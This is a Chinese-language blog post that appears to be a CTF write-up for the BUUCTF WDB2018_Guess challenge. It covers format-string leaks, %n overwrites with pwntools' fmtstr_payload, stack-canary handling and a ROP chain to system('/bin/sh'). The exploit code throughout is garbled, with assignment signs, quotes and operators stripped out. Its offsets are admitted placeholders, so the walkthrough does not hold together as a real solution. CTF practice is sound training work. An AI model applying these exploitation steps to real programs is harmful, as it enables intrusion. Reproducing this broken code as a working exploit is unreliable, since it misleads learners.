资讯详情

BUUCTF-WDB2018_Guess格式化字符串漏洞利用实战

📅 2026/11/3 19:42:16 | 华诺云谱 👁 阅读
BUUCTF-WDB2018_Guess格式化字符串漏洞利用实战
1. 项目背景解析BUUCTF-WDB2018_Guess题目复现这个CTF题目来自2018年WDB赛事属于典型的二进制漏洞利用挑战。题目名称中的Guess暗示了其核心机制——参赛者需要通过逆向分析和漏洞利用来猜测或控制程序的关键数据。这类题目通常考察以下核心能力二进制文件逆向分析反汇编、调试内存布局理解栈结构、变量排布格式化字符串漏洞利用内存地址泄露与计算2. 环境准备与题目分析2.1 基础环境配置推荐使用Ubuntu 18.04/20.04 LTS系统配合以下工具链# 安装必备工具 sudo apt install gdb peda checksec pwntools radare22.2 题目文件检查首先使用checksec检查安全机制checksec ./wdb2018_guess典型输出可能显示Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled2.3 关键安全机制分析PIE位置无关执行意味着代码段的基地址每次运行都会变化Stack Canary需要绕过栈保护机制NX不可执行栈阻止直接在栈上执行shellcode3. 逆向工程与漏洞定位3.1 主函数逻辑分析使用IDA Pro或Ghidra反编译后通常会发现以下关键结构int main() { char buf[0x100]; int secret 0x12345678; // 示例值实际题目会不同 printf(Input your name: ); read(0, buf, 0x100); printf(Hello, ); printf(buf); // 格式化字符串漏洞点 printf(Can you guess the secret?); // ...后续校验逻辑 }3.2 漏洞利用突破口关键漏洞点在于未过滤的格式化字符串通过%p等格式符可以泄露栈内存结合PIE特性需要先泄露代码段地址利用栈偏移计算关键变量位置4. 漏洞利用开发实战4.1 内存泄露阶段构造初始payload获取关键地址from pwn import * p process(./wdb2018_guess) payload b%p.*10 # 泄露多个栈值 p.sendlineafter(name:, payload) leaks p.recvuntil(Can you).split(b.) code_base int(leaks[2], 16) - 0x1234 # 根据实际偏移调整4.2 偏移计算与内存写操作确定secret变量偏移后使用%n格式符进行写操作secret_addr code_base 0x2020 # 示例偏移 payload fmtstr_payload(8, {secret_addr: 0xdeadbeef}, write_sizeshort) p.sendline(payload)4.3 完整利用链构建典型利用流程泄露至少3个栈地址和libc地址计算PIE基址和secret变量绝对地址通过格式化字符串覆盖secret值触发校验逻辑获取shell5. 高级技巧与优化方案5.1 栈对齐处理技巧当遇到写入异常时可能需要调整payload长度# 添加填充使栈对齐 payload bA*(8 - len(payload)%8) payload5.2 多阶段泄露策略对于复杂内存布局# 第一阶段泄露libc payload b%15$p p.sendline(payload) libc_start int(p.recvline(),16) - 0x20830 # 第二阶段写ROP链 rop ROP(libc) rop.system(next(libc.search(b/bin/sh)))6. 防御机制绕过详解6.1 PIE绕过方法论通过格式化字符串泄露代码段地址计算与符号表的固定偏移结合ELF头信息重建GOT表6.2 Stack Canary应对方案当canary存在时先泄露canary值通常位于%11$p或%13$p在覆盖返回地址时保持canary不变canary int(leaks[7], 16) payload bA*0x88 p64(canary) bB*8 p64(pop_rdi)7. 实战问题排查指南7.1 常见错误处理地址错误使用vmmap命令验证内存映射写入失败检查%n使用的偏移是否正确程序崩溃逐步减少payload长度定位问题点7.2 GDB调试技巧关键断点设置b *main0x50 # 在printf调用前 commands x/20gx $rsp python print(gdb.parse_and_eval(secret)) end8. 扩展训练建议尝试修改题目源码添加更多保护机制研究非x86架构下的利用方式ARM/MIPS练习结合堆漏洞的混合利用方式编写自动化Fuzz脚本发现新漏洞模式关键提示实际题目中secret的存储位置和校验逻辑会有所不同需要根据反汇编结果动态调整偏移量。建议先用静态分析确定关键变量与函数的偏移关系再通过动态调试验证内存布局。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑